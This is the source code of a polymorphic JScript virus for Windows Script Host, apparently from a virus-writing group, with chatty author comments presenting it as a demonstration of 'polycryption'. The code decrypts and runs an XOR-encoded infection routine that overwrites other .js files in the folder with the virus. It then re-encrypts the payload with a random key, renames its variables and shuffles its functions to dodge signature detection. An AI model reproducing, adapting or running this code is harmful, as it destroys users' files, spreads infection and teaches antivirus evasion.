//BodyMoving + Variable changing + *Polycryption*
//Genetix / doomriderz team


/*
The main reason for this virus is to show you how polycryption works.. the problem was that all
the code apart from the polycrypted code is static, so this is why i added variable changing and body moving.
lol, have fun! ps: ty to spth for body moving, so usefull!!!
*/

/*
WHY THE HELL ARE THE VARIABLES SO MESSY!?!? lol, well, the variable changing likes to change code that shouldnt be changed!
for example if it was to change the variabe "varArrays" it would also change "var"  and anything with "Var" int its name
and make errors! it's so annoying! so by naming the variables like this there is a very little chance that the wrong 
code will be changed by the variable changing function.. sorry for the mess but like i said it's mostly to explain 
polycryption and i've commented the lines in the function that does this (see scroll down SEE??!) lol 
*/


MoveBody() //first call the body moving function - then variable changing function - then polycrypting function.

// POLYCRYPTION!!

function qifrvpiuf() {
      var pxrprdbxfb = WScript.CreateObject("Scripting.FileSystemObject")
      var devdusethaec = '';
      var vdusethaec = '';
      var rqwqiecssssg = '';
      var rqwqiecssssg2 = '';
      var rfrbwdfw = '';
      var rirwbhqw = '';
      var tqrvxiq = '';
      var vxgpxvqsss = '';

      //polycryption line below holds the virus code (you know, that thing that infects files ugh..)
      rirwbhqw = ('%60%3CVRbshqu/Bsd%60udNckdbu%29%26Rbshquhof/GhmdRxrudlNckdbu%26%28%3Ay%3Codv%21Dotlds%60uns%29%60/fduGnmeds%29%26/%26%28/Ghmdr%28%3Agns%21%29%3A%20y/%60uDoe%29%28%3Ay/lnwdOdyu%29%28%28zhg%21%29y/hudl%29%28/o%60ld%20%3CVRbshqu/rbshquO%60ld%28zhg%21%29y/hudl%29%28/o%60ld/l%60ubi%29%23%29Z%60%2C%7B@%2C%5B1%2C8%5C*%5D/kr%28%23%28%28zz%60/BnqxGhmd%29VRbshqu/RbshquGtmmO%60ld-y/hudl%29%28/o%60ld%28%7C%7C%7C%7C1');

      //store original cryoted code for replacing (poly effect)
      var original = rirwbhqw

      vxgpxvqsss = pxrprdbxfb.OpenTextFile(WScript.ScriptFullName, 1).ReadAll()

      //decode URL encoded string
      rirwbhqw = unescape(rirwbhqw)

      //get key
      rfrbwdfw = rirwbhqw.substring(rirwbhqw.length - 1)

      //decrypt
      for (i = 0; i < rirwbhqw.length; ++i)
            {
            rqwqiecssssg += String.fromCharCode(rfrbwdfw ^ rirwbhqw.charCodeAt(i));
            }

      //remove old key
      devdusethaec = rqwqiecssssg;
      devdusethaec = devdusethaec.substring(0, devdusethaec.length - 1);

      //execute code
      eval(devdusethaec)

      //create a new key
      tqrvxiq = Math.round(Math.random() * 9);

      //encrypt it using new key
      for (i = 0; i < devdusethaec.length; i++)
            {
            rqwqiecssssg2 += String.fromCharCode(tqrvxiq ^ devdusethaec.charCodeAt(i));
            }

      //encode it to URL form to avoid errors with characters plus to make it a bit more complexish!
      vdusethaec = escape(rqwqiecssssg2 + tqrvxiq)

      //replace old encrypted string with new
      vxgpxvqsss = pxrprdbxfb.OpenTextFile(WScript.ScriptFullName, 2).Write(vxgpxvqsss.replace(original, vdusethaec))

}

//variable changing
function qafupqdwprxb()
      {
      var arrlist = new Array("qifrvpiuf", "qafupqdwprxb", "vdusethaec", "devdusethaec", "rqwqiecssssg", 
      "rqwqiecssssg2", "vxgpxvqsss", "arrlist", "tqrvxiq", "rirwbhqw", "rfrbwdfw", "pxrprdbxfb", 
      "pewuswv", "xiuiwbb", "fpfedsrbsqth", "ddvpsgvdstwx", "MoveBody", "pwcgvxifbrw", "btwiqhp", "hxgbcqfifxcq", "hirtcyrdwr",
      "MoveBody");

      var pxrprdbxfb = WScript.CreateObject("Scripting.FileSystemObject")

      vxgpxvqsss = pxrprdbxfb.OpenTextFile(WScript.ScriptFullName, 1).ReadAll()

      for (s = 0; s <= arrlist.length; s++)
            {
            var xiuiwbb = '';
            for (j = 0; j <= Math.round(Math.random() * 15) + 5; j++)
                  {
                  xiuiwbb += unescape("%" + (Math.round(Math.random() * 18) + 61))
                  }

            vxgpxvqsss = pewuswv(vxgpxvqsss, arrlist[s], xiuiwbb)

            }

      vxgpxvqsss = pxrprdbxfb.OpenTextFile(WScript.ScriptFullName, 2).Write(vxgpxvqsss)
      qifrvpiuf()
}

//body moving
function MoveBody() {

var hirtcyrdwr = WScript.CreateObject("Scripting.FileSystemObject")
var btwiqhp;
var pwcgvxifbrw='';
var hxgbcqfifxcq="\r\n" + "\r\n";

btwiqhp=Math.round(Math.random()*6)+1
    if (btwiqhp==1) { pwcgvxifbrw=qifrvpiuf + hxgbcqfifxcq + qafupqdwprxb + hxgbcqfifxcq + pewuswv + hxgbcqfifxcq + MoveBody}
    if (btwiqhp==2) { pwcgvxifbrw=pewuswv + hxgbcqfifxcq + qafupqdwprxb + hxgbcqfifxcq + MoveBody + hxgbcqfifxcq + qifrvpiuf }
    if (btwiqhp==3) { pwcgvxifbrw=MoveBody + hxgbcqfifxcq + qafupqdwprxb + hxgbcqfifxcq + qifrvpiuf + hxgbcqfifxcq + pewuswv }
    if (btwiqhp==4) { pwcgvxifbrw=qafupqdwprxb + hxgbcqfifxcq + MoveBody + hxgbcqfifxcq + pewuswv + hxgbcqfifxcq + qifrvpiuf }
    if (btwiqhp==5) { pwcgvxifbrw=qifrvpiuf + hxgbcqfifxcq + MoveBody + hxgbcqfifxcq + pewuswv + hxgbcqfifxcq + qafupqdwprxb }
    if (btwiqhp==6) { pwcgvxifbrw=qifrvpiuf + hxgbcqfifxcq + pewuswv + hxgbcqfifxcq + MoveBody + hxgbcqfifxcq + qafupqdwprxb }
var WriteNew = hirtcyrdwr.OpenTextFile(WScript.ScriptFullName, 2).Write("MoveBody()" + hxgbcqfifxcq + pwcgvxifbrw)

qafupqdwprxb()
}


function pewuswv(str, fpfedsrbsqth, ddvpsgvdstwx)
      {
      while (str.indexOf(fpfedsrbsqth) >  - 1)
            {
            postron = str.indexOf(fpfedsrbsqth);
            str = "" + (str.substring(0, postron) + ddvpsgvdstwx + str.substring((postron + fpfedsrbsqth.length), str.length));
            }
      return str;
}